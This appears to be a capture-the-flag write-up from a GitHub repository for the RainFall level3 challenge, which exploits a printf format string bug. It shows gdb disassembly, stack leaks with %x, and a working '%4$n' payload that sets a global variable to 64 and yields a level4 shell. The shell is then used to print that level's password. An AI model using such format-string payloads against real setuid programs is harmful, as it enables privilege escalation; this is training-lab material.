Skip to content

Latest commit

 

History

History

level3

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Level 3

Vulnerability

printf() format string attack

Context

level3@RainFall:~$ ls -l
-rwsr-s---+ 1 level4 users 5366 Mar  6  2016 level3
level3@RainFall:~$ ./level3
hello
hello

We have a binary that prints input from the stdin.

Solution

Let's take a look at the binary in gdb.
We can see here that level3 makes a call to main(), which makes a call to a function v().

(gdb) disas main
Dump of assembler code for function main:
   0x0804851a <+0>:	push   %ebp
   0x0804851b <+1>:	mov    %esp,%ebp
   0x0804851d <+3>:	and    $0xfffffff0,%esp
   0x08048520 <+6>:	call   0x80484a4 <v>
   0x08048525 <+11>:	leave
   0x08048526 <+12>:	ret
End of assembler dump.

Let's take a deeper look a v().
We can see two function calls in v().
One is to fgets(), which is protected against buffer overflow attacks.
The other is to printf(), which is vulnerable to string format exploits.

(gdb) disas v
[...]
   0x080484c7 <+35>:	call   0x80483a0 <fgets@plt>
   0x080484d5 <+49>:	call   0x8048390 <printf@plt>

We also find a global variable m at address 0x804988c.

(gdb) break v
(gdb) run
(gdb) info variables
0x0804988c  m

Back in v(), we see a comparison of variable m to the value 64 (or $0x40 in hexadecimal).
If the comparison is not equal (jne), then the program quits.
If the comparison is true, the program makes a call to system() and launches a new shell.

   0x080484da <+54>:	mov    0x804988c,%eax
   0x080484df <+59>:	cmp    $0x40,%eax
   0x080484e2 <+62>:	jne    0x8048518 <v+116>
   [...]
   0x08048513 <+111>:	call   0x80483c0 <system@plt>
   0x08048518 <+116>:	leave

We know that a printf() string with spurious % specifiers can be used to read whatever is on the stack.
Let's try it out. We'll use the modifier %x, which will print out addresses on the stack in hexadecimal.

level3@RainFall:~$ python -c 'print "AAAA %x %x %x %x %x %x %x"' | ./level3
AAAA 200 b7fd1ac0 b7ff37d0 41414141 20782520 25207825 78252078

Interesting... We can see our buffer "AAAA" in the 4th position on the stack as 41414141.
This means that we can leverage printf to write our variable m's address directly in the stack!
So let's replace our buffer "AAAA" with the address of the variable m (in little endian).

level3@RainFall:~$ python -c "print '\x8c\x98\x04\x08'+'%x %x %x %x'" | ./level3
�200 b7fd1ac0 b7ff37d0 804988c

Great. Now how do we get our new m to have the value 64?
Well, we also know that with printf's %n modifier, some values can be written to memory.
%n means: "the next argument is an int * – go there and write the number characters written so far".
Let's break down what this exploit format string will look like.

  • address of m [4 bytes]
  • pad of arbitrary data [60 bytes]
  • 4$ ($ is a shortcut to specifying the argument number. In this case, the 4th argument on the stack)
  • %n (writes 64 to memory at the address of m)
level3@RainFall:~$ (python -c 'print "\x8c\x98\x04\x08"+"A"*60+"%4$n"' ; cat -) | ./level3
�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Wait what?!
whoami
level4
cat /home/user/level4/.pass
b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa

Recreate Exploited Binary

As user level4, in /tmp, create and compile level3_source.c.

level4@RainFall:~$ cd /tmp
level4@RainFall:/tmp$ gcc level3_source.c -fno-stack-protector -o level3_source

Edit permissions including suid, then move the binary to home directory.

level4@RainFall:/tmp$ chmod u+s level3_source
level4@RainFall:/tmp$ chmod +wx ~; mv level3_source ~

Exit back to user level3, then run the binary.
(Note: Our new variable m is located at 0x0804a04c, but we still print the address in little endian).

level4@RainFall:/tmp$ exit
exit
level3@RainFall:~$ (python -c 'print "\x4c\xa0\x04\x08"+"A"*60+"%4$n"' ; cat -) | /home/user/level4/level3_source